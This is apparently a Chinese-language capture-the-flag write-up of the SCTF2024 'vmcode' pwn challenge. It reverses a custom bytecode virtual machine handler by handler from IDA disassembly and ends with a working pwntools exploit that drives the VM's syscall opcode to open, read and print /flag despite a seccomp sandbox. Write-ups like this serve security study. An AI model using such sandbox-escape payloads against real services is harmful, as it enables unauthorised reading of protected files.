从一道pwn题深入理解vm逆向
1355202714656933 发表于 中国 技术文章 1086浏览 · 2024-11-19 16:01

题目来源:SCTF2024 vmcode

1.前言

现在,越来多的比赛考察了有关vm逆向的知识点,题目不限于re类题目,还有pwn题,像今年的ciscn和qwb的remem,都考察了这个知识点

ctf比赛中的vm逆向不是指VMware或VirtualBox一类的虚拟机,而是一种解释执行系统或者模拟器(Emulator)。逆向中的vm保护是一种基于虚拟机的代码保护技术。它将基于x86汇编系统中的可执行代码转换为字节码指令系统的代码,来达到不被轻易逆向和篡改的目的。简单点说就是将程序的代码转换自定义的操作码(opcode),然后在程序执行时再通过解释这些操作码,选择对应的函数执行,从而实现程序原有的功能。也就是说程序所要执行的有意义的代码没有直接显露出来,我们需要通过分析将拆分了的代码重新拼接起来具有可读性才能知道程序到底执行了什么。

对于理解这一类题目,我们明确一下四个关键点

  • vm_start:虚拟机的入口函数,对虚拟机环境进行初始化
  • vm_dispatcher:调度器,解释opcode,并选择对应的handle函数执行,当handle执行完后会跳回这里,形成一个循环。
  • opcode :程序可执行代码转换成的操作码
  • handler:各种功能对象模块

vm运行起来的逻辑也就是通过不断通过读取opcode,交给dispatcher去处理,而dispatcher通过预定义好的opcode去寻找handler处理对应逻辑

而解题一般步骤:分析VM结构->分析opcode->编写parser->re算法

vm结构常见类型:

  • 基于栈、基于队列、基于信号量

opcode:

  • 与VM数据结构对应的指令 :push pop
  • 运算指令:add、sub、mul

2.vmcode

2.1 初识

sctf的vmcode的这道题一看就是沙箱保护绕过题,发现禁用了系统调用

但同时 main 函数里面没有显示出程序的大体逻辑,很奇怪

保护看一下:没有 canary 并且 got 表可写

seccomp-tools 看看,发现 orw 全开,则:

open开flag文件
read出flag的内容
write显示flag的值

多调试一下发现,还是一道虚拟机 pwn 题,因为程序似乎一直在读取某个地方的数据并且多次跳转到同一地点执行有关操作,所以主要难点就在于对虚拟机指令集的分析,以及程序如何解析输入的 opcode

2.2 动态分析

直接运行程序有输出的,并且接受我们的输入,找了一下发现程序里并没有完整“shellcode”字符串,也没有 write 和 read 函数的调用,那么猜想程序的这些操作也都是通过 opcode 来实现的

由于前面我们猜测这题可能与vm逆向有关,看一下 name,果然发现了 stack 和 code:stack 位于 bss,code 位于 data 区

并且在 code 中好像发现了 shellcode 字符串的踪影,不过是被打乱了的

ida 中 main 函数逐条汇编阅读,发现了关键的地方,注释如下,这个地方应该是实现了虚拟机模拟器的一个 dispatcher 函数,是根据 code 和 offset 来决定跳转到那个 handle 函数的

经过漫长的调试,这中间执行了很多 handle,然后发现了一个执行 syscall 的系统调用的 handle,下面是执行 sys_write

下表是x86-64系统调用有关的寄存器:

syscall number syscall %rax %rdi %rsi %rdx %rcx %r8 %r9
0 sys_read 0x0 unsigned int fd char *buf size_t count
1 sys_write 0x1 unsigned int fd const char *buf size_t count
2 sys_open 0x2 const char *filename int flags int mode

那么我们就是要字节构造一段 shellcode,让这个 syscall 来执行

在 syscall 这里下一个断点,根据直接运行可以知道,他下次调用会从我们的输入中读取:及从标准输入中向 code+65 的位置读入 0x50 的数据

读入aaaaaaaaa后我们分析一下是怎么接着执行的:

发现此时rsi正好是0x41=65,也就是后面读取code+65的地方,也就是正好我们输入的a,再走一步验证一下rax的值也正好是0x61

2.3 重点数据分析

offset:

3A 00 5F 00 6D 00 8A 00 A6 00 C2 00 DF 00 F4 00 F8 00 0E 01 22 01 38 01 69 01 86 01 A3 01 C0 01 EB 01 FF 01 18 02

由下面可知每次是取 offset 的两个字节到 ax 中的,再整理一下 offset 的数据得到如下(hex):共 19 个跳转偏移地址

mov     ax, [rax+rcx*2]
3A 5F 6D 8A A6 C2 DF F4 F8 10E 122 138 169 186 1A3 1C0 1EB 1FF 218

再计算每次跳转的位置:每个 rax 都加上 0x123a,发现正好对应着 0x1274 后面的 19 个代码片段,通过 ida 快捷键 p 可以创建成为函数

.text:000000000000126C 028 48 01 C8                                add     rax, rcx        
.text:000000000000126F 028 50                                      push    rax
.text:0000000000001270 030 83 E7 0F                                and     edi, 0Fh
.text:0000000000001273 030 C3                                      retn

下面逐步分析一下这 19 个代码片段:

.text:0000000000001274                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001274
.text:0000000000001274                             ; code数组为虚拟机代码段数据
.text:0000000000001274                             ; stack数组为虚拟机的虚拟栈
.text:0000000000001274                             ; rax+rsi寄存器看作虚拟机rip
.text:0000000000001274                             ; rbx+rdi*8寄存器当作虚拟机压栈后的rsp
.text:0000000000001274                             ;
.text:0000000000001274                             ; rip存入stack中
.text:0000000000001274                             ; code中取一个两字节的与si做加法并存入si
.text:0000000000001274
.text:0000000000001274                             ; __int16 __fastcall sub_1274(__int64, __int64)
.text:0000000000001274                             sub_1274        proc near
.text:0000000000001274 000 48 8D 05 C5 2D 00 00                    lea     rax, code
.text:000000000000127B 000 66 8B 04 30                             mov     ax, [rax+rsi]
.text:000000000000127F 000 48 83 C6 02                             add     rsi, 2
.text:0000000000001283 000 48 8D 1D D6 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:000000000000128A 000 48 89 34 FB                             mov     [rbx+rdi*8], rsi
.text:000000000000128E 000 48 FF C7                                inc     rdi
.text:0000000000001291 000 66 01 C6                                add     si, ax
.text:0000000000001294 000 48 0F B7 F6                             movzx   rsi, si
.text:0000000000001298 000 C3                                      retn
.text:0000000000001298
.text:0000000000001298                             sub_1274        endp
.text:0000000000001298
.text:0000000000001299
.text:0000000000001299                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001299
.text:0000000000001299                             ; 弹栈,取出栈中ret地址给esi
.text:0000000000001299
.text:0000000000001299                             ; void sub_1299()
.text:0000000000001299                             sub_1299        proc near
.text:0000000000001299 000 48 FF CF                                dec     rdi
.text:000000000000129C 000 48 8D 1D BD 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000012A3 000 8B 34 FB                                mov     esi, [rbx+rdi*8]
.text:00000000000012A6 000 C3                                      retn
.text:00000000000012A6
.text:00000000000012A6                             sub_1299        endp
.text:00000000000012A6
.text:00000000000012A7
.text:00000000000012A7                             ; =============== S U B R O U T I N E =======================================
.text:00000000000012A7
.text:00000000000012A7                             ; 栈顶两个值异或,然后保存到上面的值里面并弹出下面的值
.text:00000000000012A7
.text:00000000000012A7                             ; __int64 __fastcall sub_12A7(__int64)
.text:00000000000012A7                             sub_12A7        proc near
.text:00000000000012A7 000 48 8D 1D B2 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000012AE 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:00000000000012B3 000 48 8B 4C FB F0                          mov     rcx, [rbx+rdi*8-10h]
.text:00000000000012B8 000 48 31 C8                                xor     rax, rcx
.text:00000000000012BB 000 48 89 44 FB F0                          mov     [rbx+rdi*8-10h], rax
.text:00000000000012C0 000 48 FF CF                                dec     rdi
.text:00000000000012C3 000 C3                                      retn
.text:00000000000012C3
.text:00000000000012C3                             sub_12A7        endp
.text:00000000000012C3
.text:00000000000012C4
.text:00000000000012C4                             ; =============== S U B R O U T I N E =======================================
.text:00000000000012C4
.text:00000000000012C4                             ; 栈上第一个参数与第三个参数交换
.text:00000000000012C4
.text:00000000000012C4                             ; __int64 __fastcall sub_12C4(__int64)
.text:00000000000012C4                             sub_12C4        proc near
.text:00000000000012C4 000 48 8D 1D 95 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000012CB 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:00000000000012D0 000 48 8B 4C FB E8                          mov     rcx, [rbx+rdi*8-18h]
.text:00000000000012D5 000 48 89 4C FB F8                          mov     [rbx+rdi*8-8], rcx
.text:00000000000012DA 000 48 89 44 FB E8                          mov     [rbx+rdi*8-18h], rax
.text:00000000000012DF 000 C3                                      retn
.text:00000000000012DF
.text:00000000000012DF                             sub_12C4        endp
.text:00000000000012DF
.text:00000000000012E0
.text:00000000000012E0                             ; =============== S U B R O U T I N E =======================================
.text:00000000000012E0
.text:00000000000012E0                             ; 栈上第一个参数与第二个参数交换
.text:00000000000012E0
.text:00000000000012E0                             ; __int64 __fastcall sub_12E0(__int64)
.text:00000000000012E0                             sub_12E0        proc near
.text:00000000000012E0 000 48 8D 1D 79 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000012E7 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:00000000000012EC 000 48 8B 4C FB F0                          mov     rcx, [rbx+rdi*8-10h]
.text:00000000000012F1 000 48 89 4C FB F8                          mov     [rbx+rdi*8-8], rcx
.text:00000000000012F6 000 48 89 44 FB F0                          mov     [rbx+rdi*8-10h], rax
.text:00000000000012FB 000 C3                                      retn
.text:00000000000012FB
.text:00000000000012FB                             sub_12E0        endp
.text:00000000000012FB
.text:00000000000012FC
.text:00000000000012FC                             ; =============== S U B R O U T I N E =======================================
.text:00000000000012FC
.text:00000000000012FC                             ; 从code中取8字节的参数压入栈
.text:00000000000012FC
.text:00000000000012FC                             ; __int64 __fastcall sub_12FC(__int64, __int64)
.text:00000000000012FC                             sub_12FC        proc near
.text:00000000000012FC 000 48 8D 05 3D 2D 00 00                    lea     rax, code
.text:0000000000001303 000 8B 04 30                                mov     eax, [rax+rsi]
.text:0000000000001306 000 48 83 C6 04                             add     rsi, 4
.text:000000000000130A 000 48 8D 1D 4F 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:0000000000001311 000 48 89 04 FB                             mov     [rbx+rdi*8], rax
.text:0000000000001315 000 48 FF C7                                inc     rdi
.text:0000000000001318 000 C3                                      retn
.text:0000000000001318
.text:0000000000001318                             sub_12FC        endp
.text:0000000000001318
.text:0000000000001319
.text:0000000000001319                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001319
.text:0000000000001319                             ; 将栈上单字节扩展成8字节
.text:0000000000001319
.text:0000000000001319                             ; __int64 __fastcall sub_1319(__int64)
.text:0000000000001319                             sub_1319        proc near
.text:0000000000001319 000 48 8D 1D 40 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:0000000000001320 000 8A 44 FB F8                             mov     al, [rbx+rdi*8-8]
.text:0000000000001324 000 48 0F B6 C0                             movzx   rax, al
.text:0000000000001328 000 48 89 44 FB F8                          mov     [rbx+rdi*8-8], rax
.text:000000000000132D 000 C3                                      retn
.text:000000000000132D
.text:000000000000132D                             sub_1319        endp
.text:000000000000132D
.text:000000000000132E
.text:000000000000132E                             ; =============== S U B R O U T I N E =======================================
.text:000000000000132E
.text:000000000000132E                             ; 从栈上弹出一个数据,不做其他任何事情
.text:000000000000132E
.text:000000000000132E                             ; void sub_132E()
.text:000000000000132E                             sub_132E        proc near
.text:000000000000132E 000 48 FF CF                                dec     rdi
.text:0000000000001331 000 C3                                      retn
.text:0000000000001331
.text:0000000000001331                             sub_132E        endp
.text:0000000000001331
.text:0000000000001332
.text:0000000000001332                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001332
.text:0000000000001332                             ; 栈上参数shr 8
.text:0000000000001332
.text:0000000000001332                             ; __int64 __fastcall sub_1332(__int64)
.text:0000000000001332                             sub_1332        proc near
.text:0000000000001332 000 48 8D 1D 27 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:0000000000001339 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:000000000000133E 000 48 C1 E8 08                             shr     rax, 8
.text:0000000000001342 000 48 89 44 FB F8                          mov     [rbx+rdi*8-8], rax
.text:0000000000001347 000 C3                                      retn
.text:0000000000001347
.text:0000000000001347                             sub_1332        endp
.text:0000000000001347
.text:0000000000001348
.text:0000000000001348                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001348
.text:0000000000001348                             ; 复制栈顶数据并压入栈
.text:0000000000001348
.text:0000000000001348                             ; __int64 __fastcall sub_1348(__int64)
.text:0000000000001348                             sub_1348        proc near
.text:0000000000001348 000 48 8D 1D 11 31 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:000000000000134F 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:0000000000001354 000 48 89 04 FB                             mov     [rbx+rdi*8], rax
.text:0000000000001358 000 48 FF C7                                inc     rdi
.text:000000000000135B 000 C3                                      retn
.text:000000000000135B
.text:000000000000135B                             sub_1348        endp
.text:000000000000135B
.text:000000000000135C
.text:000000000000135C                             ; =============== S U B R O U T I N E =======================================
.text:000000000000135C
.text:000000000000135C                             ; 栈上参数shl 8
.text:000000000000135C
.text:000000000000135C                             ; __int64 __fastcall sub_135C(__int64)
.text:000000000000135C                             sub_135C        proc near
.text:000000000000135C 000 48 8D 1D FD 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:0000000000001363 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:0000000000001368 000 48 C1 E0 08                             shl     rax, 8
.text:000000000000136C 000 48 89 44 FB F8                          mov     [rbx+rdi*8-8], rax
.text:0000000000001371 000 C3                                      retn
.text:0000000000001371
.text:0000000000001371                             sub_135C        endp
.text:0000000000001371
.text:0000000000001372
.text:0000000000001372                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001372
.text:0000000000001372                             ; 栈上参数如果等于0,则跳转到loc_138c
.text:0000000000001372
.text:0000000000001372                             ; __int16 __fastcall sub_1372(__int64, __int64)
.text:0000000000001372                             sub_1372        proc near
.text:0000000000001372 000 48 8D 1D E7 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:0000000000001379 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:000000000000137E 000 48 FF CF                                dec     rdi
.text:0000000000001381 000 48 83 F0 00                             xor     rax, 0
.text:0000000000001385 000 75 05                                   jnz     short loc_138C
.text:0000000000001385
.text:0000000000001387 000 48 83 C6 02                             add     rsi, 2
.text:000000000000138B 000 C3                                      retn
.text:000000000000138B
.text:000000000000138C                             ; ---------------------------------------------------------------------------
.text:000000000000138C
.text:000000000000138C                             loc_138C:                               ; CODE XREF: sub_1372+13↑j
.text:000000000000138C 000 48 8D 05 AD 2C 00 00                    lea     rax, code
.text:0000000000001393 000 66 8B 04 30                             mov     ax, [rax+rsi]
.text:0000000000001397 000 48 83 C6 02                             add     rsi, 2
.text:000000000000139B 000 66 01 C6                                add     si, ax
.text:000000000000139E 000 48 0F B7 F6                             movzx   rsi, si
.text:00000000000013A2 000 C3                                      retn
.text:00000000000013A2
.text:00000000000013A2                             sub_1372        endp
.text:00000000000013A2
.text:00000000000013A3
.text:00000000000013A3                             ; =============== S U B R O U T I N E =======================================
.text:00000000000013A3
.text:00000000000013A3                             ; 栈上第二个参数 ror 循环右移 后放入第一个参数 弹出第二个参数
.text:00000000000013A3
.text:00000000000013A3                             ; __int64 __fastcall sub_13A3(__int64)
.text:00000000000013A3                             sub_13A3        proc near
.text:00000000000013A3 000 48 8D 1D B6 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000013AA 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:00000000000013AF 000 48 8B 4C FB F0                          mov     rcx, [rbx+rdi*8-10h]
.text:00000000000013B4 000 48 D3 C8                                ror     rax, cl
.text:00000000000013B7 000 48 89 44 FB F0                          mov     [rbx+rdi*8-10h], rax
.text:00000000000013BC 000 48 FF CF                                dec     rdi
.text:00000000000013BF 000 C3                                      retn
.text:00000000000013BF
.text:00000000000013BF                             sub_13A3        endp
.text:00000000000013BF
.text:00000000000013C0
.text:00000000000013C0                             ; =============== S U B R O U T I N E =======================================
.text:00000000000013C0
.text:00000000000013C0                             ; 栈上第二个参数 rol 循环左移 后放入第一个参数 弹出第二个参数
.text:00000000000013C0
.text:00000000000013C0                             ; __int64 __fastcall sub_13C0(__int64)
.text:00000000000013C0                             sub_13C0        proc near
.text:00000000000013C0 000 48 8D 1D 99 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000013C7 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:00000000000013CC 000 48 8B 4C FB F0                          mov     rcx, [rbx+rdi*8-10h]
.text:00000000000013D1 000 48 D3 C0                                rol     rax, cl
.text:00000000000013D4 000 48 89 44 FB F0                          mov     [rbx+rdi*8-10h], rax
.text:00000000000013D9 000 48 FF CF                                dec     rdi
.text:00000000000013DC 000 C3                                      retn
.text:00000000000013DC
.text:00000000000013DC                             sub_13C0        endp
.text:00000000000013DC
.text:00000000000013DD
.text:00000000000013DD                             ; =============== S U B R O U T I N E =======================================
.text:00000000000013DD
.text:00000000000013DD                             ; 栈上第一个和第二个参数and
.text:00000000000013DD
.text:00000000000013DD                             ; __int64 __fastcall sub_13DD(__int64)
.text:00000000000013DD                             sub_13DD        proc near
.text:00000000000013DD 000 48 8D 1D 7C 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:00000000000013E4 000 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:00000000000013E9 000 48 8B 4C FB F0                          mov     rcx, [rbx+rdi*8-10h]
.text:00000000000013EE 000 48 21 C8                                and     rax, rcx
.text:00000000000013F1 000 48 89 44 FB F0                          mov     [rbx+rdi*8-10h], rax
.text:00000000000013F6 000 48 FF CF                                dec     rdi
.text:00000000000013F9 000 C3                                      retn
.text:00000000000013F9
.text:00000000000013F9                             sub_13DD        endp
.text:00000000000013F9
.text:00000000000013FA
.text:00000000000013FA                             ; =============== S U B R O U T I N E =======================================
.text:00000000000013FA
.text:00000000000013FA                             ; 唯一用于执行syscall的代码
.text:00000000000013FA                             ; rax 对应系统调用号
.text:00000000000013FA                             ; 从stack中分别取出rax,rdi,rsi,rdx
.text:00000000000013FA
.text:00000000000013FA                             ; __int64 __fastcall sub_13FA(__int64)
.text:00000000000013FA                             sub_13FA        proc near
.text:00000000000013FA 000 56                                      push    rsi
.text:00000000000013FB 008 48 8D 1D 5E 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:0000000000001402 008 48 8B 44 FB F8                          mov     rax, [rbx+rdi*8-8]
.text:0000000000001407 008 48 8B 74 FB E8                          mov     rsi, [rbx+rdi*8-18h]
.text:000000000000140C 008 48 8B 54 FB E0                          mov     rdx, [rbx+rdi*8-20h]
.text:0000000000001411 008 57                                      push    rdi
.text:0000000000001412 010 48 8B 7C FB F0                          mov     rdi, [rbx+rdi*8-10h]
.text:0000000000001417 010 0F 05                                   syscall                 ; LINUX -
.text:0000000000001419 010 5F                                      pop     rdi
.text:000000000000141A 008 48 83 EF 03                             sub     rdi, 3
.text:000000000000141E 008 5E                                      pop     rsi
.text:000000000000141F 000 48 89 44 FB F8                          mov     [rbx+rdi*8-8], rax
.text:0000000000001424 000 C3                                      retn
.text:0000000000001424
.text:0000000000001424                             sub_13FA        endp
.text:0000000000001424
.text:0000000000001425
.text:0000000000001425                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001425
.text:0000000000001425                             ; 将stack的rsp压入栈
.text:0000000000001425
.text:0000000000001425                             ; _QWORD *__fastcall sub_1425(__int64)
.text:0000000000001425                             sub_1425        proc near
.text:0000000000001425 000 48 8D 1D 34 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:000000000000142C 000 48 8D 44 FB F8                          lea     rax, [rbx+rdi*8-8]
.text:0000000000001431 000 48 89 04 FB                             mov     [rbx+rdi*8], rax
.text:0000000000001435 000 48 FF C7                                inc     rdi
.text:0000000000001438 000 C3                                      retn
.text:0000000000001438
.text:0000000000001438                             sub_1425        endp
.text:0000000000001438
.text:0000000000001439
.text:0000000000001439                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001439
.text:0000000000001439                             ; 将code的rip压入栈
.text:0000000000001439
.text:0000000000001439                             ; char *__fastcall sub_1439(__int64, __int64)
.text:0000000000001439                             sub_1439        proc near
.text:0000000000001439 000 48 8D 05 00 2C 00 00                    lea     rax, code
.text:0000000000001440 000 48 01 F0                                add     rax, rsi
.text:0000000000001443 000 48 8D 1D 16 30 00 00                    lea     rbx, stack      ; 15*8=120byte=0x78byte
.text:000000000000144A 000 48 89 04 FB                             mov     [rbx+rdi*8], rax
.text:000000000000144E 000 48 FF C7                                inc     rdi
.text:0000000000001451 000 C3                                      retn
.text:0000000000001451
.text:0000000000001451                             sub_1439        endp
.text:0000000000001451
.text:0000000000001452
.text:0000000000001452                             ; =============== S U B R O U T I N E =======================================
.text:0000000000001452
.text:0000000000001452                             ; syscall exit
.text:0000000000001452
.text:0000000000001452                             ; void sub_1452()
.text:0000000000001452                             sub_1452        proc near
.text:0000000000001452 000 31 FF                                   xor     edi, edi        ; error_code
.text:0000000000001454 000 31 C0                                   xor     eax, eax
.text:0000000000001456 000 B0 3C                                   mov     al, 3Ch ; '<'
.text:0000000000001458 000 0F 05                                   syscall                 ; LINUX - sys_exit
.text:0000000000001458                             ; } // starts at 1169
.text:0000000000001458
.text:0000000000001458                             sub_1452        endp
.text:0000000000001458
.text:0000000000001458                             _text           ends
.text:0000000000001458
LOAD:000000000000145A                             ; ===========================================================================

分析得到所有 opcode 如下:

这里的所有栈指的都是虚拟机模拟器的虚拟栈,这个栈是向下增长的,其中的每个数据应该都是 8 字节,要取出栈顶的数据[rbx+rdi*8-8]。(不是原来 x86 那种小端的取法,有一点点差别)

opcode  func
0x21    rip存入stack中,code中取一个两字节的与si做加法并存入si
0x22    弹栈,取出栈中ret地址给esi
0x23    栈顶两个值异或,然后保存到上面的值里面并弹出下面的值
0x24    栈上第一个参数与第三个参数交换
0x25    栈上第一个参数与第二个参数交换
0x26    从code中取4字节的参数压入栈(但是压入8字节)
0x27    将栈上单字节扩展成8字节
0x28    从栈上弹出一个数据,不做其他任何事情
0x29    栈上8字节参数shr 8
0x2a    复制栈顶数据并压入栈
0x2b    栈上8字节参数shl 8
0x2c    栈上参数如果等于0,则跳转到loc_138c
0x2d    栈上第二个参数 ror 循环右移 后放入第一个参数 弹出第二个参数
0x2e    栈上第二个参数 rol 循环左移 后放入第一个参数 弹出第二个参数
0x2f    栈上第一个和第二个参数and
0x30    唯一用于执行syscall的代码,rax 对应系统调用号,从stack中分别取出rax,rdi,rsi,rdx
0x31    将stack的rsp压入栈
0x32    将code的rip压入栈
0x33    syscall exit

同时,我们可以结合shellcode的输出,来具体分析一下这个函数的执行流程

  • 0x26,取出lcod四字节(对齐8字节)压入栈
  • 0x2b执行四次,也就是将这实际4字节按照小端方式存储
  • 0x26,取出shel四字节(对齐8字节)压入栈
  • 0x23,其实是把shellcod拼接了起来,通过栈操作,这样就组成了一个8字节的数据
  • 0x31,将shellcod的起始地址压入栈
  • 0x26,取出e:
  • 0x25,shellcod起始地址与e:交换
  • 0x26,压入0b
  • 0x25,0b与shellcod起始地址交换
  • 0x26,压入1
  • 0x26,压入1
  • 0x30,syscall执行,画个图看一下vm——stack

2.4 exp

from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"
io = process("./pwn")

def call(offset):
    return p8(0x21) + p16(offset)

def ret():
    return p8(0x22)

def xor():
    return p8(0x23)

def swap02():
    return p8(0x24) 

def swap01():
    return p8(0x25)

def push_imm(imm):
    return p8(0x26) + p32(imm)

def extand_byte():
    return p8(0x27)

def pop():
    return p8(0x28)

def shr():
    return p8(0x29)

def dup():
    return p8(0x2a)

def shl():
    return p8(0x2b)

def jmp(offset):
    return p8(0x2c) + p16(offset)

def ror():
    return p8(0x2d)

def rol():
    return p8(0x2e)

def and_():
    return p8(0x2f)

def syscall():
    return p8(0x30)

def push_sp():
    return p8(0x31)

def push_ip():
    return p8(0x32)

def exit_():
    return p8(0x33)

payload = flat([
    # open("/flag", 0)
    push_imm(0x67616c66), # "/flag"
    push_sp(),
    push_imm(0x0),
    swap01(),
    push_imm(0x2),
    syscall(),
    # read(3, buf, 0x100)
    push_imm(0x100),
    push_sp(),
    # 通过移位操作将末字节清0,直接将buf从bss的stack挪到了data的code
    shr(), 
    shl(),


    push_imm(0x3),
    push_imm(0x0),
    syscall(),
    # write(1, buf, 0x100)
    push_imm(0x100),
    push_sp(),
    shr(),
    shl(),


    push_imm(0x1),
    push_imm(0x1),
    syscall(),
])
gdb.attach(io, "b *($rebase(0x000000000001417))")
pause()
io.sendafter(b"shellcode: ",payload)
io.interactive()

但是这里需要注意,read 文件后到底是read到哪里的buf了,exp里通过了一个巧妙的将rsp移位的操作,使得buf地址变到了code的数据区域

3.总结

vm的re或者pwn题,主要还是考察选手不断调试分析,重点是要多花时间多细心

其实,做会了一道题,其他的题目也就照猫画虎了,顶多是后面再结合上其他的知识点进行考察

下面也给大家提供一下有关的源码学习,参照zs0zrc佬,网上搜一下‘逆向之虚拟机保护’就行了,但一定要编译出来对着调试分析

但ctf题目与实际情况也总是存在一些差别的,像商用软件VMProtect,提供了软件虚拟化、混淆、反调试等操作,但也有相关的破解教程,大家可以上网查找一下,主要还是学习思路

0 条评论
某人
表情
可输入 255